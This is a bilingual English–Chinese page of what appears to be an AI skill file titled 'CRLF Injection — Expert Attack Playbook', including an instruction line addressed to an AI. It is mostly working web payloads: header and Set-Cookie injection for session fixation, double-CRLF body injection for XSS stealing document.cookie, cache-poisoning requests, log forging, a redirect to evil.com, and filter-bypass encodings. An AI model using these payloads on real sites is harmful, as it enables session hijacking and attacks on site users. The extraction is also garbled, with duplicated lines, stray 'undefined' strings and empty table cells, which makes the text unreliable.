crlf-injection
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: CRLF Injection — Expert Attack Playbook
SKILL: CRLF Injection — 专家攻击手册
AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
AI加载说明: CRLF注入(HTTP响应拆分)技术,涵盖头部注入、通过双CRLF实现响应体注入、XSS升级、缓存投毒、编码绕过。该漏洞通常会被扫描器忽略,但可链式利用实现XSS、会话固定和缓存攻击。
1. CORE CONCEPT
1. 核心概念
CRLF = (Carriage Return + Line Feed, ). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
\r\n%0D%0ANormal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-CookieCRLF = (回车+换行,)。HTTP头部由CRLF分隔。如果用户输入未经过滤就回显在响应头中,注入CRLF字符就可以创建新的头部,甚至是响应体。
\r\n%0D%0ANormal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie2. DETECTION
2. 检测
Basic Probe
基础探测
text
%0D%0ANew-Header:injectedtext
%0D%0ANew-Header:injectedIn URL parameter:
In URL parameter:
Check response headers for "X-Injected: true"
Check response headers for "X-Injected: true"
undefinedundefinedDouble CRLF — Body Injection
双CRLF — 响应体注入
Two consecutive CRLF sequences end headers and start body:
text
%0D%0A%0D%0A<script>alert(1)</script>两个连续的CRLF序列会结束头部区域并开启响应体:
text
%0D%0A%0D%0A<script>alert(1)</script>Result:
Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
---HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
---3. EXPLOITATION SCENARIOS
3. 利用场景
Session Fixation via Set-Cookie
通过Set-Cookie实现会话固定
text
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_idtext
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_idXSS via Response Body
通过响应体实现XSS
text
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>text
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>Cache Poisoning
缓存投毒
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
text
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>如果响应会被CDN或代理缓存,注入的头部/响应体会被返回给所有用户:
text
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>Log Injection
日志注入
CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
text
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200日志可见字段(User-Agent、Referer)中的CRLF可以伪造日志条目:
text
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 2004. FILTER BYPASS
4. 过滤绕过
| Filter | Bypass |
|---|---|
Blocks | Try |
| URL decodes once | Double-encode: |
Strips | Use URL-encoded form |
| Blocks in value only | Inject in parameter name |
text
undefined| 过滤规则 | 绕过方式 |
|---|---|
拦截 | 尝试单独使用 |
| 仅进行一次URL解码 | 双重编码: |
直接移除字面量 | 使用URL编码形式 |
| 仅拦截参数值中的CRLF | 注入到参数名中 |
text
undefinedUnicode/UTF-8 bypass:
Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
Double URL encoding:
Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
Partial injection (LF only):
Partial injection (LF only):
%0A → some servers accept LF without CR
---%0A → some servers accept LF without CR
---5. REAL-WORLD EXPLOITATION CHAINS
5. 真实场景利用链
CRLF + Session Fixation
CRLF + 会话固定
text
undefinedtext
undefinedInject Set-Cookie via CRLF in redirect parameter:
Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
Result:
Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
Victim uses attacker's session → attacker hijacks after login
Victim uses attacker's session → attacker hijacks after login
undefinedundefinedCRLF → XSS via Double CRLF Body Injection
CRLF → 双CRLF响应体注入实现XSS
text
undefinedtext
undefinedTwo CRLF sequences end headers and inject response body:
Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
Result:
Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>
undefinedHTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>
undefinedCRLF in 302 Location → Redirect Hijack
302 Location中的CRLF → 重定向劫持
text
undefinedtext
undefinedInject new Location header before the original:
Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
Some servers use the LAST Location header → redirect to evil.com
Some servers use the LAST Location header → redirect to evil.com
---
---6. COMMON VULNERABLE PATTERNS
6. 常见易受攻击代码模式
php
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));php
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));7. TESTING CHECKLIST
7. 测试清单
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses□ 在重定向URL参数中注入%0D%0A
□ 在Set-Cookie名称/值路径中注入%0D%0A
□ 尝试双CRLF实现响应体注入 → XSS
□ 测试编码绕过:双重编码、Unicode(%E5%98%8D%E5%98%8A)、仅LF(%0A)
□ 检查响应是否可缓存 → 缓存投毒风险
□ 测试User-Agent/Referer字段的日志注入风险
□ 测试CRLF+Set-Cookie实现会话固定的可能性
□ 验证302响应中是否可注入Location头部